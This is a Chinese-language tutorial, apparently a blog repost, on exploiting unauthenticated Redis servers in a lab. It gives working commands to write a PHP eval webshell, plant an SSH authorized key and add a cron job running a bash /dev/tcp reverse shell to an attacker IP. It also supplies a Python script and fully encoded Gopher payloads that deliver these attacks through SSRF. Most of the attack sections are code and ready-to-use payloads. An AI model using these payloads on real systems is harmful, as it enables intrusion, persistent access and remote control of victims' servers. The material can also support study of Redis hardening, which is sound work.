Redis 攻击方法总结(二)

本文涉及的产品
云数据库 Redis 版,社区版 2GB
推荐场景:
搭建游戏排行榜
简介: Redis 攻击方法总结

利用 Redis 写入 Webshell

利用条件:

  • 服务端的Redis连接存在未授权,在攻击机上能用redis-cli直接登陆连接,并未登陆验证。
  • 开了服务端存在Web服务器,并且知道Web目录的路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限。

我们可以将dir设置为/var/www/html目录,将指定本地数据库存放目录设置为/var/www/html;将dbfilename设置为文件名shell.php,即指定本地数据库文件名为shell.php;再执行save或bgsave,则我们就可以写入一个路径为/var/www/html/shell.php的Webshell文件。

原理就是在数据库中插入一条Webshell数据,将此Webshell的代码作为value,key值随意(x),然后通过修改数据库的默认路径为/var/www/html和默认的缓冲文件shell.php,把缓冲的数据保存在文件里,这样就可以在服务器端的/var/www/html下生成一个Webshell。

操作步骤:

config set dir /var/www/html/
config set dbfilename shell.php
set xxx "<?php eval($_POST[whoami]);?>"
save

ac70f6c1054ab050babfc5e74864709d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

这里需要注意的是第三步写webshell的时候,可以使用:

set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"

\r\n\r\n 代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行,查看/var/www/html/目录下的shell.php文件内容。如下图所示,写入成功:

24c283878cc502662c80734448d47fe5_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

蚁剑连接,连接成功:

b8e7585568003f83fd6539c965a40f7d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

利用 Redis 写入 SSH 公钥

利用条件:

  • 服务端的Redis连接存在未授权,在攻击机上能用redis-cli直接登陆连接,并未登陆验证。
  • 服务端存在.ssh目录并且有写入的权限

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

首先在攻击机的/root/.ssh目录里生成ssh公钥key:

ssh-keygen -t rsa

afa0a65ebd3aec67042d12114ca09ac4_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

接着将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入服务端Redis的缓冲里:

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.43.82 -x set xxx
// -x 代表从标准输入读取数据作为该命令的最后一个参数。

3c4db83cf29776af157fd5a03e59c4f6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

然后,使用攻击机连接目标机器Redis,设置Redis的备份路径为/root/.ssh/和保存文件名为authorized_keys,并将数据保存在目标服务器硬盘上

redis-cli -h 192.168.43.82
config set dir /root/.ssh
config set dbfilename authorized_keys
save

3c3256b15382345cdb54990f848b613e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

最后,使用攻击机ssh连接目标受害机即可:

ssh 192.168.43.82

8a2702df7e56eeea7210ce86f19752de_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

如上图所示,成功连接。

利用 Redis 写入计划任务

原理就是在数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。

首先在攻击机kali上开启监听:

nc -lvp 2333

c51bd36cb06a1299ddda5081c00919f2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

然后连接服务端的Redis,写入反弹shell的计划任务:

redis-cli -h 192.168.142.153
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.43.247/2333 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save

7d1061134e6fcf122db53073f2de3e76_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

如下图所示,经过一分钟以后,在攻击机的nc中成功反弹shell回来:

584af1978e42739188f732eed5f03cf7_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

这个方法只能Centos上使用,Ubuntu上行不通,原因如下:

  • 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/权限644也能执行
  • 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错  

由于系统的不同,crontrab定时文件位置也会不同:

  • Centos的定时任务文件在/var/spool/cron/
  • Ubuntu定时任务文件在/var/spool/cron/crontabs/

Redis 未授权访问漏洞在 SSRF 中的利用

在SSRF漏洞中,如果通过端口扫描等方法发现目标主机上开放6379端口,则目标主机上很有可能存在Redis服务。此时,如果目标主机上的Redis由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话,那我们就可以利用Gopher协议远程操纵目标主机上的Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等,其思路都是一样的,就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等,然后将dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行save或bgsave保存,则我们就指定的目录里写入指定的文件了。

实验环境:

  • 攻击机Kali:192.168.43.247
  • 受害机Ubuntu:192.168.43.82

假设受害机上存在Web服务并且存在SSRF漏洞,通过SSRF进行端口扫描我们发现目标主机在6379端口上运行着一个Redis服务。下面我们就来演示如何通过SSRF漏洞去攻击Redis服务。

绝对路径写WebShell

首先构造redis命令:

flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

然后写一个脚本,将其转化为Gopher协议的格式(脚本时从网上嫖的,谁让我菜呢~~~大佬勿喷):

import urllib
protocol="gopher://"
ip="192.168.43.82"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""    # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

执行该脚本后生成payload如下:

9813f76bc30ab02c75d3c4598149d662_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

这里将生成的payload要进行url二次编码(因为我们发送payload用的是GET方法),然后利用Ubuntu服务器上的SSRF漏洞,将二次编码后的payload打过去就行了:

ssrf.php?url=gopher%3A%2F%2F192.168.43.82%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

如下所示,成功在受害主机上面写入WebShell:

8ad6dcf06246eded81e06340bcd364d6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

蚁剑连接成功:

a5835ebd3598343237243da14a9e41b4_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

写入SSH公钥

同样,我们也可以直接这个存在Redis未授权的主机的~/.ssh目录下写入SSH公钥,直接实现免密登录,但前提是~/.ssh目录存在,如果不存在我们可以写入计划任务来创建该目录。

首先在攻击机的/root/.ssh目录里生成ssh公钥key:

ssh-keygen -t rsa

将生成的id_rsa.pub里的内容复制出来构造redis命令:

flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC96S69JNdIOUWoHYOvxpnQxHAVZHl25IkDFBzTbDIbJBBABu8vqZg2GFaWhTa2jSWqMZiYwyPimrXs+XU1kbP4P28yFvofuWR6fYzgrybeO0KX7YmZ4xN4LWaZYEeCxzJrV7BU9wWZIGZiX7Yt5T5M3bOKofxTqqMJaRP7J1Fn9fRq3ePz17BUJNtmRx54I3CpUyigcMSTvQOawwTtXa1ZcS056mjPrKHHBNB2/hKINtJj1JX8R5Uz+3six+MVsxANT+xOMdjCq++1skSnPczQz2GmlvfAObngQK2Eqim+6xewOL+Zd2bTsWiLzLFpcFWJeoB3z209solGOSkF8nSZK1rDJ4FmZAUvl1RL5BSe/LjJO6+59ihSRFWu99N3CJcRgXLmc4MAzO4LFF3nhtq0YrIUio0qKsOmt13L0YgSHw2KzCNw4d9Hl3wiIN5ejqEztRi97x8nzAM7WvFq71fBdybzp8eLjiR8oq6ro228BdsAJYevXZPeVxjga4PDtPk= root@kali
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

然后编写脚本,将其转化为Gopher协议的格式:

import urllib
protocol="gopher://"
ip="192.168.43.82"
port="6379"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC96S69JNdIOUWoHYOvxpnQxHAVZHl25IkDFBzTbDIbJBBABu8vqZg2GFaWhTa2jSWqMZiYwyPimrXs+XU1kbP4P28yFvofuWR6fYzgrybeO0KX7YmZ4xN4LWaZYEeCxzJrV7BU9wWZIGZiX7Yt5T5M3bOKofxTqqMJaRP7J1Fn9fRq3ePz17BUJNtmRx54I3CpUyigcMSTvQOawwTtXa1ZcS056mjPrKHHBNB2/hKINtJj1JX8R5Uz+3six+MVsxANT+xOMdjCq++1skSnPczQz2GmlvfAObngQK2Eqim+6xewOL+Zd2bTsWiLzLFpcFWJeoB3z209solGOSkF8nSZK1rDJ4FmZAUvl1RL5BSe/LjJO6+59ihSRFWu99N3CJcRgXLmc4MAzO4LFF3nhtq0YrIUio0qKsOmt13L0YgSHw2KzCNw4d9Hl3wiIN5ejqEztRi97x8nzAM7WvFq71fBdybzp8eLjiR8oq6ro228BdsAJYevXZPeVxjga4PDtPk= root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""    # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用
cmd=["flushall",
"set 1 {}".format(ssh_pub.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

执行该脚本后生成payload,同样将生成的payload进行url二次编码,然后利用受害机上的SSRF打过去:

ssrf.php?url=gopher%3A%2F%2F192.168.43.82%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%2524566%250D%250A%250A%250Assh-rsa%2520AAAAB3NzaC1yc2EAAAADAQABAAABgQC96S69JNdIOUWoHYOvxpnQxHAVZHl25IkDFBzTbDIbJBBABu8vqZg2GFaWhTa2jSWqMZiYwyPimrXs%252BXU1kbP4P28yFvofuWR6fYzgrybeO0KX7YmZ4xN4LWaZYEeCxzJrV7BU9wWZIGZiX7Yt5T5M3bOKofxTqqMJaRP7J1Fn9fRq3ePz17BUJNtmRx54I3CpUyigcMSTvQOawwTtXa1ZcS056mjPrKHHBNB2%2FhKINtJj1JX8R5Uz%252B3six%252BMVsxANT%252BxOMdjCq%252B%252B1skSnPczQz2GmlvfAObngQK2Eqim%252B6xewOL%252BZd2bTsWiLzLFpcFWJeoB3z209solGOSkF8nSZK1rDJ4FmZAUvl1RL5BSe%2FLjJO6%252B59ihSRFWu99N3CJcRgXLmc4MAzO4LFF3nhtq0YrIUio0qKsOmt13L0YgSHw2KzCNw4d9Hl3wiIN5ejqEztRi97x8nzAM7WvFq71fBdybzp8eLjiR8oq6ro228BdsAJYevXZPeVxjga4PDtPk%253D%2520root%2540kali%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252411%250D%250A%2Froot%2F.ssh%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252415%250D%250Aauthorized_keys%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

如下图,成功在受害机上面写入SSH公钥:

6a0202f888473eb80830fdbf5c6b6f6d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

如下图,ssh连接成功:

46ac0583020598b7c215dd97a3e7f02e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

创建计划任务反弹Shell

注意:这个只能在Centos上使用,别的不行,原因上面已经说过了。

构造redis的命令如下:

flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.43.247/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

然后编写脚本,将其转化为Gopher协议的格式:

import urllib
protocol="gopher://"
ip="192.168.43.82"
port="6379"
reverse_ip="192.168.43.247"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""    # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用
cmd=["flushall",
"set 1 {}".format(cron.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

生成的payload同样进行url二次编码,然后利用Ubuntu服务器上的SSRF打过去,即可在受害机上面写入计划任务,等到时间后,攻击机上就会获得目标主机的shell。


相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore &nbsp; &nbsp; ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库&nbsp;ECS 实例和一台目标数据库&nbsp;RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&amp;RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
相关文章
|
17天前
|
存储 缓存 NoSQL
利用Redis List实现数据库分页快速查询的有效方法
利用Redis List实现数据库分页快速查询的有效方法
|
17天前
|
设计模式 NoSQL Java
常用的设计模式以及操作Redis、MySQL数据库、各种MQ、数据类型转换的方法
常用的设计模式以及操作Redis、MySQL数据库、各种MQ、数据类型转换的方法
|
17天前
|
缓存 NoSQL Redis
软件体系结构 - 缓存技术(7)Redis持久化方法
【4月更文挑战第20天】软件体系结构 - 缓存技术(7)Redis持久化方法
96 14
|
17天前
|
NoSQL Java Redis
Redis【应用 01】Java实现动态切换写入不同Redis数据库的方法实例(动态切换Redis数据库)
Redis【应用 01】Java实现动态切换写入不同Redis数据库的方法实例(动态切换Redis数据库)
99 0
|
17天前
|
存储 缓存 NoSQL
Redis的安装方法与基本操作
Redis是一个开源的内存数据结构存储系统,也可以用作数据库、缓存和消息中间件。它支持多种数据结构,包括字符串(strings)、哈希(hashes)、列表(lists)、集合(sets)、有序集合(sorted sets)等。
91 0
Redis的安装方法与基本操作
|
7月前
|
消息中间件 缓存 NoSQL
阿里云国际站代理商:Redis实现分布式配置管理的方法与应用案例
@luotuoemo飞机@TG阿里云国际站代理商:Redis实现分布式配置管理的方法与应用案例,为了实现高可用和负载均衡,可以将Redis部署成哨兵集群或集群模式。哨兵负责监控主从节点的状态,发现故障时自动进行故障转移。集群模式可以提高系统的可扩展性,通过添加更多的从节点来分摊负载压力。
|
9月前
|
NoSQL Redis
Redis数据迁移的4种方法
Redis数据迁移的4种方法
1149 0
|
12月前
|
存储 NoSQL Redis
Redis复制的基础知识、原理和实现方法
Redis复制的基础知识、原理和实现方法
50 0
|
12月前
|
运维 NoSQL 网络协议
如何预防利用Redis弱密码进行攻击
如何预防利用Redis弱密码进行攻击
182 0
|
弹性计算 NoSQL Linux
阿里云服务器安装Redis数据库命令方法流程
阿里云服务器安装Redis数据库命令方法流程,阿里云持久内存服务器ECS可用于搭建Redis内存型数据库,云服务器吧以阿里云服务器ECS持久内存型、Alibaba Cloud Linux镜像操作系统安装Redis 6.0.5或Redis 3.2.12详细操作流程如下:
112 0